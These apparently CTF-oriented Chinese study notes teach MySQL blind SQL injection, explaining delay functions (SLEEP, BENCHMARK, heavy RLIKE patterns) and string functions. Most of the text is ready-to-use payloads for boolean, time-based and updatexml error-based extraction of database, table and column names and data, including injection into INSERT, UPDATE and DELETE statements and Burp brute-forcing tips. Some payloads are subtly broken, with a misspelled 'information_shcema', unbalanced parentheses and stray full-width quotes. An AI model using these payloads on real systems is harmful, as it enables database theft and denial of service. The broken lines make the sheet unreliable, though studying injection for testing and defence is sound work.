SLEEP(duration )
函数使用说明:睡眠( 暂停) 时间为duration 参数给定的秒数,然后返回0 。若SLEEP() 被中断, 它会返回1 。
所以:
select * from table where id = 1 and sleep(1) 会等待1s,并返回一个空集
select * from table where id=1 or sleep(1) 则可能会等待很多秒,然后返回对应的数据集
其他的一些payload:
select * from goods where name ='123' and (select 123 from (select sleep(3))xio) and "1"="1";
payload:123' and (select 123 from (select sleep(3))xio) and '1'='1
配合if条件触发
IF(expr1,expr2,expr3)
如果expr1 是TRUE (即只要 expr1 <> 0 and expr1 <> NULL)
则IF()的返回值为expr2;
否则返回值则为expr3。
IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。
Select * from table where id = 1 and if(database()=’’,sleep(4),null))
mid(string,start,len)
mid(string from start for len)
substring()和substr()
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
substring_index()
substring_index(str,delim,count)
count为正数时,截取从左往右数第count个delim之前的所有内容
count为负数时,截取从右往左数第count个delim之后的所有内容
left(str,length) 从最左边开始截取字符串
right(str,length) 从最右边开始截取字符串
通过正则表达式也可以实现逐位判断
rlike 或者regexp
SQL CASE 表达式是一种通用的条件表达式,类似于其它语言中的if/else 语句。
SELECT CASE WHEN (任何语句) THEN (任何语句) ELSE (任何语句) END
select case when username='admin' THEN 'aaa' ELSE (sleep(3) ) end from user
除了sleep之外的产生延时的方法:
BENCHMARK(count ,expr )
BENCHMARK() 函数重复count 次执行表达式expr 。它可以被用于计算MySQL 处理表达式的速度。结果值通常为0 。
select benchmark(10000000,sha(1)); 通过反复执行10000000次sha(1)所产生的延时
使用笛卡尔积产生延时:
比如三张表联合查询,三张表做笛卡尔积得消耗一定的时间
select count(*) from information_schema.columns,information_schema.files,information_schema.tables;
一般需要三张大表联合查询,两张表联合查询速度还是太快了
GET_LOCK(str,timeout )
加锁,锁的名字为str,锁的时间为timeout。用于并发编程时
比如说如果两个客户端都连接了mysql服务端(并发)
一个客户端get_lock已经成功,
那么另一客户端想要get_lock同样名称的锁,就需要等待timeout时间才能得到这个锁
客户端1加锁:
客户端2请求同样的锁:
RLIKE通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
ascii() 只用于返回单个字母的ascii码,如果传入一个字符串那么返回是首字母的ascii码
相同作用的函数还有 ord()
一般web应用中凡是需要搜索数据库的功能模块,往往将搜索到的内容显示出来,这样就可能存在get注入和post注入等sql注入,但是有些功能模块,并不会将搜索到数据原样显示,而是显示是否存在某数据。这样就只能用基于布尔的盲注了
盲注字典:
猜解库名:
猜解库名长度:id=1 and length(database())>5
猜解库名的各个字符是多少:id=1 and ascii(substr(database(),1,1))=67
可以使用burpsuit来爆破,抓包>>send to instruder>>设置参数>>跑包
猜解表名:
id =1 and ascii( substr((select table_name from information_shcema.tables where table_schema=database() limit 0,1),1,1) )=67
猜解字段名:
id =1 and ascii( substr((select column_name from information_shcema.columns where table_name='表名' limit 0,1),1,1) )=67
猜解内容:
id =1 and ascii( substr((select zKaQ from zkaq limit 0,1),1,1) )=67
如果开发没有关闭数据库报错,可以尝试用updatexml报错来回显数据:
id=1 and updatexml(1,concat(0x7e,(select database())),1),1)
查询当前数据库中有哪些表:
id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() )),1),1)
查询表中有哪些字段:
id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’表名’ )),1),1)
查询表中的数据:
id=1 and updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head )),1),1)
如果业务功能和数据库有交互,但是不会回显数据库的数据,并且也不会回显是否查到数据呢?
这就需要用基于时间的盲注:以页面响应时间为猜测数据的标准
?id=1 and if( ascii( substr( database(),1,1 ) )>1000,sleep(0),sleep(5) )
?id=1 and if( ascii( substr( (select table_name from information_shcema.tables where table_schema=database() limit 0,1),1,1 ) )>1000,sleep(0),sleep(5) )
?id=1 and if( ascii( substr( (select column_name from information_shcema.columns where table_name='表名' limit 0,1),1,1 ) )>1000,sleep(0),sleep(5) )
insert into goods values(5,"xiaoming",34);
对xiaoming部分进行注入:
payload: 3"+sleep(3)+"3
分析:因为插入前需要进行计算,一旦计算就需要运行sleep函数产生延时。这里使用" 闭合掉了之后的",而不是采用注释,因为采用注释可能就需要我们猜出注入点之后还有多少个字段才能注入成功。
结果:
也可以使用:
3" and sleep(6) or "3
使用前提:必须是数字才能进行+ 运算 and运算
将sleep(6)替换成具体的payload即可
直接用:
3" and if( ascii( substr( database() ,1 ,1 ) )>1000,sleep(0),sleep(5) ) or "3
因为含有逗号,所以可能逗号被认为成字段的分隔符,所以需要把上句的逗号全部替换掉
3" and (select case when ascii( substring( database() from 1 for 1 ) )>1000 then sleep(0) else sleep(5) end) or "3
insert into goods values(9,"127001" and (select case when ascii( substring( database() from 1 for 1 ) )>1000 then sleep(0) else sleep(5) end) or "3",34);
思路2:利用报错注入
insert into goods (name,num) values("ceshi" or updatexml(1,concat(0x7e,database()),0) and "1",34);
思路3:二次注入:
比如有个注册功能,我们注册用户名时叫database(),然后从其他地方就可以把database()的值查出来
其他思路:
比如说我们不知道闭合类型,也不知道到底插入了多少个字段,就可以通过\来注释掉后引号,用括号闭合values的前括号,用#注释掉之后的部分
insert into goods(name,text )values ('\',',database())#')
即插入:\
和 ,database())#
思路1:延时注入
update goods set name=1 and sleep(3) where id =1;
update goods set name=1 where id =1 and sleep(3);
只要将sleep(3)替换成其他payload并编写脚本就可以完成注入。
思路1:报错注入
delete from users where id =2
delete from user where id =2 or
updatexml(1,concat(0x7e,database(),0))
思路2:延时注入
delete from user where id =2 or sleep(3)
对30s延时的原理的猜测:
mysql 会从goods表的第一行还是比对id是不是等于12 ,如果不是等于12,那么就会执行sleep(3) ,所以大约有10条数据id不等于12(id=6之前被我删除了所以有10条),sleep(3)*10 = 30sec
所以如果是用and连接的话只会执行一次:
delete from goods where id =12 or if(substring(database() from 1 for 1)='a',sleep(0),sleep(3));